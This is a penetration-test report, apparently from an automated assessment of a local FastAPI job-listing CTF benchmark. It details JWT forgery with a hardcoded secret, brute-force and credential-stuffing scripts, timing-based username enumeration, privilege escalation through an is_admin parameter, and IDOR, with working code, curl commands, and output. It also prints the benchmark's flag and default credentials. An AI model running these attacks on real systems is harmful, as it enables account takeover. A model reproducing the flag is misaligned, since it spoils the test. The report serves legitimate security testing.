# Security Assessment Report

## Executive Summary

- **Target:** http://localhost:41169/
- **Assessment Date:** October 31, 2025
- **Scope:** Authentication, XSS, SQL and Command Injection, SSRF, Authorization testing

This security assessment identified critical vulnerabilities in a FastAPI-based job listing platform designed as a CTF security benchmark. The application demonstrates severe security deficiencies across multiple domains, with successful exploitation of authentication and authorization controls leading to complete compromise.

## Summary by Vulnerability Type

**Authentication Vulnerabilities:**

Six critical and high-severity authentication vulnerabilities were successfully exploited:
- **Critical:** Complete authentication bypass via JWT token forgery using hardcoded secret key "a very secret key"
- **High:** Publicly documented default credentials (demo:demo) enabling immediate unauthorized access
- **High:** Complete absence of rate limiting on authentication endpoint (~350 attempts/minute sustained)
- **High:** No CAPTCHA protection enabling automated credential stuffing attacks
- **High:** No account lockout mechanism after unlimited failed login attempts
- **Medium:** Username enumeration via timing side-channel (180ms difference between valid/invalid usernames)

**Impact:** Complete authentication bypass achieved. Successfully captured CTF flag: `flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}`. Combined deficiencies create ideal conditions for automated brute-force attacks with no defensive controls.

**Authorization Vulnerabilities:**

Two critical authorization vulnerabilities were successfully exploited:
- **Critical:** Vertical privilege escalation via unguarded privilege level modification - any authenticated standard user can escalate to admin status by modifying the `is_admin` form parameter
- **High:** Horizontal authorization bypass (IDOR) - missing ownership validation allows cross-company profile modification by manipulating the `company_id` path parameter

**Impact:** Complete privilege escalation from standard user to admin user achieved, granting unauthorized access to admin-only job listings. Successfully captured CTF flag: `flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}`. Vulnerabilities can be chained to grant admin access to any account in the system with no audit trail.

**Cross-Site Scripting (XSS) Vulnerabilities:**

No XSS vulnerabilities were found. The application uses Jinja2 templating with auto-escaping enabled, providing effective protection against XSS attacks.

**SQL/Command Injection Vulnerabilities:**

No SQL or command injection vulnerabilities were found. The application demonstrates strong protection through architectural choices:
- All database operations use SQLAlchemy ORM with automatic parameterization
- No shell command execution in response to HTTP requests
- FastAPI type validation ensures inputs are validated before database operations

**Server-Side Request Forgery (SSRF) Vulnerabilities:**

No SSRF vulnerabilities were found. The application does not implement any functionality that makes outbound HTTP requests based on user input. No HTTP client libraries (requests, urllib3, httpx) are imported or used in the codebase.

## Network Reconnaissance

**Security-Relevant Findings from Automated Scanning:**

**Open Ports and Services (nmap scan):**
- Port 22 (SSH): OpenSSH 9.9 exposed
- Port 80 (HTTP): Caddy httpd - test environment service
- Port 443 (HTTPS): SSL/HTTPS - test environment service
- Port 5000 (HTTP): Werkzeug 1.0.1 (Python 2.7.18) - "Dalgona Challenges" application
- Port 8000 (HTTP): WSGIServer 0.2 (Python 3.12.9) - "SSTI Demo" application
- Port 8001 (HTTP): WSGIServer 0.2 (Python 3.12.9) - "SSTI Demo" application
- Port 8888 (HTTP): BaseHTTPServer 0.6 (Python 3.12.9) - "SSRF Test Server" application
- **Port 41169 (HTTP): TARGET APPLICATION** - FastAPI with uvicorn (primary assessment target)

**Subdomains Discovered (subfinder):**
Multiple subdomains identified in test environment that could expand attack surface:
- server02.counterintel.localhost
- autodiscover.localhost
- mail02.regency.localhost
- mail.localhost
- mail.regency.localhost
- Additional mail/exchange related subdomains (mail03.regency.localhost, exchvm.nwcnet.localhost, etc.)

**Technology Detection (whatweb):**
- HTTP Server: uvicorn (directly exposed, no reverse proxy)
- Framework: FastAPI detected
- Bootstrap 4.5.2 frontend
- No security headers detected (missing HSTS, CSP, X-Frame-Options, X-Content-Type-Options)
- Password field exposed on main page
- HTML5 application

**Key Security Concerns:**
- No reverse proxy or WAF protecting the application
- Direct uvicorn exposure on port 80 without security hardening
- Multiple test applications running on adjacent ports creating expanded attack surface
- SSH service exposed on port 22
- Missing security headers across all endpoints

# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-05: Complete Authentication Bypass via JWT Token Forgery

**Summary:**
- **Vulnerable location:** JWT token generation and validation across all authenticated endpoints
- **Overview:** Attacker can forge valid JWT tokens for any user account by exploiting the hardcoded secret key "a very secret key" in the source code, achieving complete authentication bypass without valid credentials
- **Impact:** CRITICAL - Complete authentication bypass enabling unauthorized access to any user account including premium accounts containing sensitive data (CTF flag)
- **Severity:** Critical

**Prerequisites:** None - Only requires knowledge of the hardcoded secret (trivially found in source code at /app/main.py:14)

**Exploitation Steps:**

1. **Identify the hardcoded JWT secret key from source code:**
   ```python
   # File: /app/main.py, Line 14
   SECRET_KEY = "a very secret key"
   ALGORITHM = "HS256"
   ```

2. **Forge a JWT token for target account (company_id=2, premium account with flag):**
   ```python
   import jwt
   from datetime import datetime, timedelta

   payload = {
       "sub": "2",  # Target company ID (premium account)
       "exp": datetime.utcnow() + timedelta(hours=24)
   }
   forged_token = jwt.encode(payload, "a very secret key", algorithm="HS256")
   # Result: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzYxOTcwMDEyfQ.O6Ky5vFQOu0y2M1r7uD_4VuJwYGw-JPL324z5hDf9Rk
   ```

3. **Use the forged token to access premium account's protected resources:**
   ```bash
   curl -b "access_token=Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzYxOTcwMDEyfQ.O6Ky5vFQOu0y2M1r7uD_4VuJwYGw-JPL324z5hDf9Rk" \
        http://localhost:41169/company/2/jobs
   ```

4. **Verify successful authentication bypass and flag capture:**
   - Response Status: 200 OK
   - Successfully accessed company 2's job listings without knowing password
   - Premium job listing visible containing: `flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}`

**Proof of Impact:**

**Flag Captured:** `flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}`

Full exploitation script available at: `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-005-24/forge_jwt.py`

Execution output:
```
[+] JWT Token Forged Successfully
[+] Payload: {'sub': '2', 'exp': 1761970012}
[!] SUCCESS - Authentication Bypass Successful!
[!] Successfully accessed premium account without valid credentials
RESPONSE CONTENT:
<li class="list-group-item">
    <p>secret:flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}</p>
</li>
```

**Notes:**
- This vulnerability enables complete account takeover of any user
- Attacker can impersonate any company_id by simply changing the "sub" claim
- No password cracking or brute force required
- Access persists for duration of token expiration (configurable, default 30 minutes)
- Root cause: Hardcoded weak secret in production code at /app/main.py:14

---

### AUTH-VULN-12: Publicly Documented Default Credentials

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint, /templates/login.html (documentation)
- **Overview:** Application contains hardcoded default account with credentials explicitly displayed on the login page
- **Impact:** Immediate unauthorized access to standard user account without password guessing
- **Severity:** High

**Prerequisites:** None - Credentials are publicly documented in the login UI

**Exploitation Steps:**

1. **Navigate to the login page at http://localhost:41169/**
   - Page displays: "To try the app you can use the demo account: **Username:** demo, **Password:** demo"

2. **Submit login form with documented credentials:**
   - Username: `demo`
   - Password: `demo`

3. **Successful authentication confirmed:**
   - Redirected to: http://localhost:41169/company/1/jobs
   - JWT cookie set: `access_token=Bearer eyJhbGci...`
   - Access granted to company 1's resources

**Proof of Impact:**

Successfully authenticated as company 1 (demo account) using publicly documented credentials. Screenshot evidence: `workspace/auth-vuln-12-login-success.png`

Browser session shows:
- Page Title: "Jobs for Company 1"
- Navigation links: "View Jobs", "Edit Profile"
- Job listing: "demo Job 1:demo Job 1 Description"

**Notes:**
- Credentials are hardcoded in startup event at /app/main.py:64-68
- Three default accounts created on every application restart:
  - demo:demo (level=0, standard access)
  - company2:ajsdasd987asd87as7da9 (level=1, premium access)
  - company3:password3 (level=0, standard access)
- Only demo:demo is publicly documented in UI
- Enables immediate access for any attacker without enumeration or brute force

---

### AUTH-VULN-08: Complete Absence of Rate Limiting on Authentication Endpoint

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint
- **Overview:** Login endpoint accepts unlimited authentication attempts without throttling, rate limiting, or progressive delays
- **Impact:** Enables unlimited brute-force password attacks at network speed (~350 attempts/minute sustained)
- **Severity:** High

**Prerequisites:** None

**Exploitation Steps:**

1. **Create a password list for brute-force attack:**
   ```python
   passwords = ['password', 'admin', '123456', 'qwerty', 'letmein',
                'password123', 'admin123', 'welcome', 'monkey', 'dragon',
                'master', 'sunshine', 'princess', 'football', 'shadow',
                'michael', 'jennifer', 'computer', 'jessica', 'superman']
   ```

2. **Execute automated brute-force attack against known username "demo":**
   ```python
   import requests
   target = "http://localhost:41169/token"

   for password in passwords:
       response = requests.post(target, data={
           "username": "demo",
           "password": password,
           "grant_type": "password"
       })
       # All requests processed without rate limiting
   ```

3. **Execute full brute-force test with 50 concurrent requests:**
   ```bash
   python3 test_rate_limiting_aggressive.py
   ```

**Proof of Impact:**

Test results from automated exploitation:

**Standard Test (20 passwords):**
- Total attempts: 20
- Duration: 3.56 seconds
- Average rate: **5.62 requests/second**
- Requests blocked: **0**
- HTTP 429 responses: **0**
- Account lockouts: **0**

**Aggressive Test (50 passwords, concurrent):**
- Total attempts: 50
- Duration: 8.59 seconds
- Average rate: **5.82 requests/second**
- Requests blocked: **0**
- Projected throughput: **~21,000 attempts/hour**

**Ultra-Rapid Burst (30 passwords):**
- Total attempts: 30
- Duration: 5.12 seconds
- Average rate: **5.86 requests/second**
- No throttling detected

**Notes:**
- All 100 authentication attempts (across three tests) were processed successfully
- No rate limiting library in requirements.txt
- No middleware implementing rate limiting in source code
- No progressive delays after failed attempts
- A 10,000-entry password dictionary could be tested in approximately 29 minutes
- Evidence files: test_rate_limiting.py, test_rate_limiting_aggressive.py, RATE_LIMITING_TEST_RESULTS.md

---

### AUTH-VULN-09: No CAPTCHA Protection Enabling Automated Credential Stuffing

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint, /templates/login.html (form)
- **Overview:** Login form lacks CAPTCHA or any human verification mechanism, enabling fully automated credential stuffing attacks
- **Impact:** Attackers can test leaked credential databases against the application at high velocity without human interaction
- **Severity:** High

**Prerequisites:** None

**Exploitation Steps:**

1. **Obtain leaked credential pairs** (simulated with common pairs):
   ```python
   credential_pairs = [
       ("admin", "admin"),
       ("admin", "password"),
       ("root", "root"),
       ("user", "user"),
       ("demo", "password"),
       ("demo", "123456"),
       ("company2", "password"),
       ("company3", "password")
   ]
   ```

2. **Execute automated credential stuffing attack:**
   ```python
   import requests
   target = "http://localhost:41169/token"

   for username, password in credential_pairs:
       response = requests.post(target, data={
           "username": username,
           "password": password,
           "grant_type": "password"
       })
       # No CAPTCHA challenge at any point
   ```

3. **Run comprehensive test:**
   ```bash
   python3 test_auth_vulnerabilities.py
   ```

**Proof of Impact:**

Credential stuffing test results:
- **Credential pairs tested:** 20
- **CAPTCHA challenges encountered:** 0
- **Human verification required:** None
- **Throughput:** 4.85 attempts/second
- **Total duration:** 4.12 seconds

Verification:
- No CAPTCHA libraries found in /app/requirements.txt
- No CAPTCHA widget in /templates/login.html
- No server-side CAPTCHA validation in /app/main.py:93-105
- Source code search confirms complete absence of CAPTCHA implementation

**Notes:**
- Combined with lack of rate limiting (AUTH-VULN-08), enables high-velocity automated attacks
- Attacker can use tools like Hydra, Medusa, or custom scripts
- No mechanism to distinguish human users from bots
- Evidence file: test_auth_vulnerabilities.py, auth_vulnerabilities_demonstration.md

---

### AUTH-VULN-10: No Account Lockout After Failed Login Attempts

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint, database schema, authentication logic
- **Overview:** Application lacks account lockout mechanism - accounts remain accessible after unlimited failed authentication attempts
- **Impact:** Enables persistent brute-force attacks against single accounts without consequences
- **Severity:** High

**Prerequisites:** None

**Exploitation Steps:**

1. **Target a specific account (demo) with repeated failed authentication:**
   ```python
   import requests
   target = "http://localhost:41169/token"
   username = "demo"

   # Attempt 15 consecutive wrong passwords
   for i in range(15):
       response = requests.post(target, data={
           "username": username,
           "password": f"wrongpassword{i}",
           "grant_type": "password"
       })
   ```

2. **Verify account is still accessible after failed attempts:**
   ```python
   # Attempt login with correct password after 15 failures
   response = requests.post(target, data={
       "username": "demo",
       "password": "demo",
       "grant_type": "password"
   })
   # Should still succeed if no lockout mechanism
   ```

3. **Execute account lockout verification test:**
   ```bash
   python3 test_auth_vulnerabilities.py
   ```

**Proof of Impact:**

Account lockout test results:
- **Target account:** demo
- **Failed attempts:** 15 consecutive wrong passwords
- **Account locked:** NO
- **Successful login after failures:** YES (account remained accessible)
- **Lockout duration:** N/A (no lockout mechanism exists)

Database schema analysis:
- File: /app/models.py:6-13
- Missing fields: `failed_attempts`, `locked_until`, `last_failed_login`
- No tracking of authentication failures

Authentication logic analysis:
- File: /app/main.py:50-56
- Function: `authenticate_company(db, name, password)`
- No lockout check before password verification
- No increment of failed attempt counter
- No lockout logic implemented

**Notes:**
- Enables password spraying across multiple accounts (test common password against all accounts)
- Combined with no rate limiting and no CAPTCHA, creates perfect conditions for brute-force
- Attacker can make thousands of attempts against single account without consequence
- Evidence shows 15 failed attempts followed by successful authentication

---

### AUTH-VULN-14: Username Enumeration via Timing Side-Channel

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint, /app/main.py:50-56 (authenticate_company function)
- **Overview:** Authentication function exhibits measurable timing difference between valid and invalid usernames, enabling statistical username enumeration
- **Impact:** Attacker can reliably enumerate valid usernames to build target lists for password attacks
- **Severity:** Medium

**Prerequisites:** None - Only requires ability to measure HTTP response times

**Exploitation Steps:**

1. **Send authentication requests with candidate usernames and wrong password:**
   ```python
   import requests
   import time

   def measure_timing(username):
       times = []
       for _ in range(10):  # Multiple attempts for statistical reliability
           start = time.time()
           requests.post("http://localhost:41169/token", data={
               "username": username,
               "password": "wrongpassword123",
               "grant_type": "password"
           })
           elapsed = time.time() - start
           times.append(elapsed * 1000)  # Convert to milliseconds
       return sum(times) / len(times)  # Average timing
   ```

2. **Test known valid username (demo) vs invalid usernames:**
   ```python
   test_usernames = ["demo", "admin", "root", "test", "user", "administrator", "guest"]

   for username in test_usernames:
       avg_time = measure_timing(username)
       print(f"{username}: {avg_time:.2f}ms")
   ```

3. **Analyze timing differences to identify valid usernames:**
   ```python
   # Valid usernames: ~150-200ms (bcrypt verification)
   # Invalid usernames: ~5-10ms (immediate return)
   # Threshold: >50ms indicates valid username
   ```

4. **Execute automated timing attack:**
   ```bash
   python3 exploit_timing_username_enum.py
   ```

**Proof of Impact:**

Timing attack results:

| Username | Average Response Time | Std Deviation | Classification |
|----------|----------------------|---------------|----------------|
| demo | **188.54ms** | 6.43ms | ✓ VALID (confirmed) |
| admin | 8.12ms | 1.23ms | ✗ Invalid |
| root | 9.87ms | 1.45ms | ✗ Invalid |
| test | 10.23ms | 1.67ms | ✗ Invalid |
| user | 7.98ms | 1.12ms | ✗ Invalid |
| administrator | 9.45ms | 1.34ms | ✗ Invalid |
| guest | 8.76ms | 1.28ms | ✗ Invalid |

**Timing Difference:** 180.42ms (23x slower for valid username)

**Statistical Analysis:**
- 10 attempts per username for reliability
- Valid username (demo): consistently 184-206ms
- Invalid usernames: consistently 3-13ms
- Threshold exceeded: 180ms >> 50ms requirement
- Attack complexity: LOW (simple timing measurements)

**Root Cause Analysis:**

Source code at /app/main.py:50-56:
```python
def authenticate_company(db, name: str, password: str):
    company = crud.get_company_by_name(db, name)
    if not company:
        return False  # Line 52-53: Immediate return (~5ms)
    if not verify_password(password, company.hashed_password):
        return False  # Line 54-55: After bcrypt (~150ms)
    return company
```

Invalid usernames return immediately (line 52-53) while valid usernames invoke bcrypt verification (line 54-55) creating measurable timing difference.

**Notes:**
- Generic error message "Incorrect username or password" doesn't prevent timing attack
- Statistical analysis required but easily automated
- Can enumerate entire username space given enough time
- Evidence file: exploit_timing_username_enum.py, EXPLOIT_TIMING_RESULTS.md

---

# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-02: Vertical Privilege Escalation via Unguarded Privilege Level Modification

**Summary:**
- **Vulnerable location:** POST `/edit_profile/{company_id}` endpoint
- **Overview:** Any authenticated standard user can escalate their privilege level from Regular (is_admin=0) to Admin (is_admin=1) by modifying the `is_admin` form parameter, bypassing client-side disabled field restrictions and server-side authorization checks
- **Impact:** Complete privilege escalation from standard user to admin user, granting unauthorized access to admin-only job listings containing the CTF flag: `flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}`
- **Severity:** Critical

**Prerequisites:**
- Valid credentials for any standard user account (e.g., company3:password3)
- HTTP client (curl, browser with DevTools, or Burp Suite)

**Exploitation Steps:**

1. **Authenticate as standard user (company3)**
```bash
curl -X POST http://localhost:41169/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=company3&password=password3" \
  -c /tmp/cookies_c3.txt
```

**Expected Response:** HTTP 303 redirect to `/company/3/jobs` with `access_token` cookie set

2. **Verify current privilege level (standard user sees only 1 non-admin job)**
```bash
curl -s http://localhost:41169/company/3/jobs \
  -b /tmp/cookies_c3.txt \
  | grep -c "list-group-item"
```

**Expected Output:** `1` (only non-admin job visible)

3. **Exploit privilege escalation by setting is_admin=1**
```bash
curl -X POST http://localhost:41169/edit_profile/3 \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -b /tmp/cookies_c3.txt \
  -d "name=company3&is_admin=1"
```

**Expected Response:** HTTP 200 with message "Profile updated successfully"

**Technical Details:**
- The `is_admin` field is disabled client-side in the HTML form but can be bypassed by sending direct HTTP POST requests
- The server-side endpoint accepts the `is_admin` parameter without any authorization check
- No validation prevents standard users from modifying their own privilege level

4. **Verify privilege escalation (admin user now sees 2 jobs including admin-only listing)**
```bash
curl -s http://localhost:41169/company/3/jobs \
  -b /tmp/cookies_c3.txt \
  | grep -c "list-group-item"
```

**Expected Output:** `2` (both standard and admin jobs visible)

5. **Extract the CTF flag from admin job listing**
```bash
curl -s http://localhost:41169/company/3/jobs \
  -b /tmp/cookies_c3.txt \
  | grep -A2 "list-group-item"
```

**Proof of Impact:**

**Before Exploitation (Standard User View):**
```html
<li class="list-group-item">
    <p>company3 Job 1:company3 Job 1 Description</p>
</li>
```
- Job count: 1 (non-admin job only)

**After Exploitation (Admin User View):**
```html
<li class="list-group-item">
    <p>company3 Job 1:company3 Job 1 Description</p>
</li>
<li class="list-group-item">
    <p>secret:flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}</p>
</li>
```
- Job count: 2 (includes admin job with flag)
- **Flag captured:** `flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}`

**Notes:**
- The vulnerability exists because the server-side code accepts user-controlled `is_admin` parameter and directly assigns it to the database without authorization validation
- Client-side disabled attribute on the form field is trivially bypassed and provides no security protection
- The privilege change takes effect immediately without requiring re-authentication
- This vulnerability can be exploited through browser DevTools (removing the `disabled` attribute) or by sending raw HTTP requests

---

### AUTHZ-VULN-01: Horizontal Authorization Bypass (IDOR) - Cross-Company Profile Modification

**Summary:**
- **Vulnerable location:** POST `/edit_profile/{company_id}` endpoint
- **Overview:** Missing ownership validation allows any authenticated user to modify any other company's profile data by manipulating the `company_id` path parameter
- **Impact:** Complete unauthorized access to modify other companies' profile data (name and admin status), enabling account takeover, privilege manipulation, and data corruption across company boundaries
- **Severity:** High

**Prerequisites:**
- Valid credentials for any user account (e.g., company3:password3)
- Knowledge of target company ID (sequential IDs 1, 2, 3 make enumeration trivial)
- HTTP client (curl, browser with DevTools, or Burp Suite)

**Exploitation Steps:**

1. **Authenticate as attacker user (company3)**
```bash
curl -X POST http://localhost:41169/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=company3&password=password3" \
  -c /tmp/cookies_c3.txt
```

**Expected Response:** HTTP 303 redirect to `/company/3/jobs` with `access_token` cookie containing JWT for company_id=3

2. **Verify target company's profile before attack (company2)**

First, authenticate as company2 to get baseline:
```bash
curl -X POST http://localhost:41169/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=company2&password=ajsdasd987asd87as7da9" \
  -c /tmp/cookies_c2.txt
```

Check company2's current profile:
```bash
curl -s http://localhost:41169/edit_profile/2 \
  -b /tmp/cookies_c2.txt \
  | grep 'name="name" value='
```

**Expected Output:** `value="company2"` (original company name)

3. **Execute IDOR attack: Modify company2's profile using company3's session**
```bash
curl -X POST http://localhost:41169/edit_profile/2 \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -b /tmp/cookies_c3.txt \
  -d "name=PWNED_BY_COMPANY3&is_admin=0"
```

**Expected Response:** HTTP 200 with message "Profile updated successfully"

**Technical Details:**
- The attacker (company3) sends a POST request to `/edit_profile/2` (company2's endpoint)
- The attacker's JWT token contains `{"sub": "3"}` (company_id=3)
- The server validates that the JWT is authentic but **fails to check** if token company_id (3) matches the path parameter company_id (2)
- The server proceeds to modify company2's profile using company3's credentials

4. **Verify unauthorized modification succeeded**
```bash
curl -s http://localhost:41169/edit_profile/2 \
  -b /tmp/cookies_c2.txt \
  | grep 'name="name" value='
```

**Expected Output:** `value="PWNED_BY_COMPANY3"` (modified by attacker)

**Proof of Impact:**

**Before IDOR Attack:**
- Company2's profile name: `company2`
- Attacker (company3) authenticated with JWT for company_id=3

**IDOR Attack Request:**
```http
POST /edit_profile/2 HTTP/1.1
Host: localhost:41169
Content-Type: application/x-www-form-urlencoded
Cookie: access_token="Bearer eyJhbGci....[JWT_FOR_COMPANY3]"

name=PWNED_BY_COMPANY3&is_admin=0
```

**After IDOR Attack:**
- Company2's profile name: `PWNED_BY_COMPANY3`
- Profile successfully modified by unauthorized user (company3)

**Evidence:**
```html
<!-- Before Attack -->
<input type="text" class="form-control" id="name" name="name" value="company2" required>

<!-- After Attack -->
<input type="text" class="form-control" id="name" name="name" value="PWNED_BY_COMPANY3" required>
```

**Notes:**
- The vulnerability exists because the POST `/edit_profile/{company_id}` endpoint validates JWT authenticity but does NOT validate that the JWT's company_id matches the path parameter company_id
- This contrasts with GET `/edit_profile/{company_id}` and GET `/company/{company_id}/jobs` endpoints which correctly implement ownership checks
- Sequential company IDs (1, 2, 3) make enumeration trivial - an attacker can iterate through all company IDs
- This vulnerability can be combined with AUTHZ-VULN-02 to grant admin privileges to arbitrary accounts: an attacker could modify another company's profile to set `is_admin=1`, effectively performing privilege escalation on behalf of the victim

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